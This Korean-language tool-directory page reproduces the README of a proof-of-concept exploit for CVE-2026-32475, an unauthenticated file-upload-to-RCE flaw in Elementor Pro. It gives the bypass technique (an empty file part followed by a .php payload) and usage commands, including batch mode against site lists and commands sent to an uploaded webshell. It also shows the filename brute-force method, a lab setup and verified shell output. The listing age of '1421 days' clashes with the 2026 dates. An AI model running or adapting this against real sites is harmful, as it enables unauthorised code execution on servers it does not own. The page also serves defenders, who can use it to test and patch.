Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/sahmsec/cve-2026-32475
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubsahmsec/cve-2026-32475

CVE-2026-32475

CVE-2026-32475에 대한 개념 증명 익스플로잇으로, Elementor Pro의 인증되지 않은 임의 파일 업로드 취약점을 통해 원격 코드 실행으로 이어집니다. 자동화된 탐지, 업로드, 명령 실행 및 정리 기능을 포함합니다.

저장소 보기
1421일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-32475 — Elementor Pro ≤ 4.2.1 인증되지 않은 임의 파일 업로드 → RCE

CVE-2026-32475(CVSS 9.0 Critical, CWE-434)에 대한 PoC: Elementor Pro Forms 모듈의 인증되지 않은 임의 파일 업로드로 원격 코드 실행으로 이어집니다. Elementor Pro 4.2.2(2026-08-19)에서 수정되었습니다. Patchstack Bug Bounty 프로그램을 통해 Tin Pham(TF1T)이 보고했습니다.

root@kitploit:~
  ███████╗  █████╗  ██╗  ██╗ ███╗   ███╗ ███████╗ ███████╗  ██████╗
  ██╔════╝ ██╔══██╗ ██║  ██║ ████╗ ████║ ██╔════╝ ██╔════╝ ██╔════╝
  ███████╗ ███████║ ███████║ ██╔████╔██║ ███████╗ █████╗   ██║
  ╚════██║ ██╔══██║ ██╔══██║ ██║╚██╔╝██║ ╚════██║ ██╔══╝   ██║
  ███████║ ██║  ██║ ██║  ██║ ██║ ╚═╝ ██║ ███████║ ███████╗ ╚██████╗
  ╚══════╝ ╚═╝  ╚═╝ ╚═╝  ╚═╝ ╚═╝     ╚═╝ ╚══════╝ ╚══════╝  ╚═════╝

⚠️ 법적 고지

이 PoC는 승인된 보안 연구, 교육 및 방어적 테스트 목적으로만 제공됩니다.

  • 이 도구를 실행하기 전에 대상 시스템을 소유하거나 시스템 소유자로부터 명시적인 서면 허가를 받아야 합니다.
  • 컴퓨터 시스템에 대한 무단 접근은 대부분의 관할권에서 불법입니다(예: 미국의 Computer Fraud and Abuse Act, 영국의 Computer Misuse Act 및 전 세계의 유사 법률)이며 형사 및 민사 처벌을 받을 수 있습니다.
  • 저자와 기여자는 이 코드 사용으로 인해 발생하는 모든 오용, 손해 또는 법적 결과에 대해 책임을 지지 않습니다.
  • 이 소프트웨어를 사용함으로써 귀하는 이를 책임감 있게 그리고 모든 관련 법률을 준수하여 사용하는 데 동의합니다.

취약점의 내용

Elementor Pro 양식의 파일 업로드 필드는 업로드된 항목을 서로 다른 의미론을 가진 두 개의 별도 루프에서 처리합니다(modules/forms/fields/upload.php):

root@kitploit:~
// validation()
foreach ( $files[$id] as $index => $file ) {
    if ( ! $field['required'] && UPLOAD_ERR_NO_FILE === $file['error'] ) {
        return;                    // <-- 전체 메서드를 중단
    }
    // is_file_type_valid() ...    // 두 번째 항목에는 도달하지 않음
}

// process_field()
foreach ( $files[$id] as $index => $file ) {
    if ( UPLOAD_ERR_NO_FILE === $file['error'] ) {
        continue;                  // <-- 이 항목만 건너뜀
    }
    $filename = uniqid() . '.' . $file_extension;   // 공격자가 제어하는 확장자
    move_uploaded_file( $file['tmp_name'], $new_file );
}

동일한 업로드 필드에 대해 두 개의 파일 파트를 제출하면 — 빈 첫 번째 파트(filename="" → UPLOAD_ERR_NO_FILE) 다음에 .php 페이로드를 제출하면 — validation()이 확장자 블랙리스트가 페이로드를 보기도 전에 반환되고, process_field()는 여전히 이를 wp-content/uploads/elementor/forms/<uniqid()>.php(공개 웹 디렉토리)로 이동시킵니다. 해당 URL을 직접 요청하면 원격 코드 실행이 발생합니다.

업로드는 POST /wp-admin/admin-ajax.php(action=elementor_pro_forms_send_form)에서 처리되며 인증도 nonce도 필요 없습니다. post_id, form_id 및 업로드 필드 이름은 공개 페이지 HTML에 표시되므로 전체 공격은 인증 없이 수행됩니다.

요구 사항

대상:

  • Elementor Pro ≤ 4.2.1(모든 이전 버전이 영향을 받음)
  • 파일 업로드 필드가 포함된 Form 위젯이 있는 게시된 페이지가 하나 이상
  • 업로드 필드가 **필수(Required)**로 표시되지 않아야 함(기본 상태)
  • 양식에 CAPTCHA가 없어야 함(reCAPTCHA/turnstile은 인증되지 않은 제출을 차단)
  • 업로드 디렉토리가 PHP를 실행해야 함(대부분의 Apache/cPanel 호스팅에서 기본값, 일부 강화된 nginx 설정에서는 차단됨)

공격자:

  • Python 3.9+(표준 라이브러리만 — 종속성 없음)
  • 대상에 대한 네트워크 접근

사용법

단일 대상(사이트맵/홈페이지를 통해 양식 페이지 자동 발견):

root@kitploit:~
python script.py --url https://target.example --command "id; hostname; uname -a" --cleanup

명시적 양식 페이지:

root@kitploit:~
python script.py --url https://target.example --page-url https://target.example/contact/ --cleanup

배치 모드(sites.txt: 한 줄에 하나의 사이트 — base_url 또는 base_url page_url):

root@kitploit:~
python script.py --list sites.txt --command "id" --cleanup --out results.json

JSON 목록 형식:

root@kitploit:~
[{"url": "https://a.example"}, {"url": "https://b.example", "page_url": "https://b.example/jobs/"}]

이미 업로드된 셸에서 명령 실행:

root@kitploit:~
python script.py --url https://target.example --shell-url https://target.example/wp-content/uploads/elementor/forms/<name>.php --command "id"

주요 옵션

플래그기본값설명
--url-단일 대상 기본 URL
--list-배치 모드 목록 파일
--page-url--url양식이 포함된 페이지
--commandid; hostname; uname -a셸을 통해 실행할 명령
--cleanup꺼짐테스트 후 웹셸 자체 삭제
--field k=v-자동 채워진 양식 필드 재정의(반복 가능)
--tail0.3미세 스캔을 위한 예상 업로드 시간 전의 초
--step-fine1미세 스캔의 마이크로초 단계
--full-second꺼짐전체 uniqid 초 무차별 대입(클록 스큐 대응)
--attempts1업로드+스캔 시도 횟수(매번 새 무작위 파일명)
--max-probes600000시도당 스캔 요청 예산
--workers50병렬 스캔 스레드
--insecure꺼짐TLS 오류 무시(자체 서명 대상)
--out file.json-보고서를 JSON으로 작성

도구 작동 방식

  1. 발견 — 대상 페이지를 가져와서(또는 사이트맵과 홈페이지 링크를 크롤링, 최대 20페이지) 파일 업로드 필드가 있는 양식을 찾습니다.
  2. 스크래핑 — post_id, form_id, 업로드 필드 이름 및 기타 모든 양식 필드를 추출합니다. 모든 필드를 그럴듯한 값으로 자동 채워 필수 필드가 검증을 통과하도록 합니다(--field로 재정의).
  3. 업로드 — 두 부분으로 구성된 multipart POST를 admin-ajax.php로 보냅니다. 참고: success:false와 빈 errors 객체가 함께 오는 경우에도 업로드된 것으로 처리됩니다. 기본 Email 작업이 wp_mail() 실패 시 파일 이동 이후에 오류를 발생시키기 때문입니다. 업로드 필드 자체의 거부(file type is not allowed)만 차단된 것으로 간주됩니다.
  4. 파일명 복구 — uniqid() = 8자리 16진수 초 + 5자리 16진수 마이크로초. 초는 응답 Date 헤더에서 가져옵니다. 초 미만 부분은 (t1 - date_epoch) % 1에서 추정합니다(공격자와 서버 클록이 가까울 때 정확). keep-alive 프로버(연결당 요청 1회보다 약 30배 빠름)가 마이크로초 해상도로 이동 창을 스캔합니다. --full-second는 클록이 어긋날 때 전체 초를 무차별 대입합니다.
  5. 실행 — GET <shell>?c=<command>로 명령을 실행합니다. --cleanup은 ?x=1을 통해 셸을 삭제합니다.

결과 상태

상태의미
vulnerable셸이 업로드되고 명령이 실행됨 — 지금 패치하세요
blocked업로드 필드가 거부됨(패치된 4.2.2+, 필수 필드, WAF, 캡차)
uploaded_no_exec파일은 저장되었지만 파일명을 복구하지 못함(--full-second로 재시도)
no_form대상에서 취약한 양식을 찾지 못함
error연결/네트워크 오류

랩 재현

docker-compose.yml + setup_form_page.php가 취약한 대상을 재현합니다:

root@kitploit:~
docker compose up -d
docker compose run --rm wpcli wp core install \
    --url=http://localhost:8090 --title="Lab" --skip-email \
    --admin_user=admin --admin_password=admin123! [email protected]
docker compose run --rm wpcli wp plugin install elementor --activate
# 법적으로 획득한 elementor-pro.zip(<= 4.2.1)을 프로젝트 디렉토리에 넣은 후:
docker compose exec wordpress bash -c "cd wp-content/plugins && unzip -o /var/www/html/elementor-pro.zip"
docker compose run --rm wpcli wp plugin activate elementor-pro
docker cp setup_form_page.php "$(docker compose ps -q wordpress)":/tmp/setup.php
docker compose exec wordpress php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup.php";'

python script.py --url http://localhost:8090 --command "id; hostname" --cleanup

검증된 출력

root@kitploit:~
[+] Shell located (attempt 1, stage=fine tail): http://localhost:8090/wp-content/uploads/elementor/forms/6a90b4fee658e.php
[*] Running command: uname -a
\nPWN\nLinux fcc317d0e442 6.18.33.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
[*] Cleaning up (deleting webshell)...
    rm

참고 자료

  • Patchstack 권고
  • NVD 항목
  • Elementor Pro 변경 로그(4.2.2)

해결 방법

Elementor Pro를 **4.2.2+**로 업데이트하세요. 업데이트는 취약점을 차단하지만 이미 업로드된 셸을 제거하지는 않습니다 — wp-content/uploads/elementor/forms/에서 잔여 .php 파일을 감사하세요.


승인된 보안 연구 및 랩 사용 전용입니다.

도구 다운로드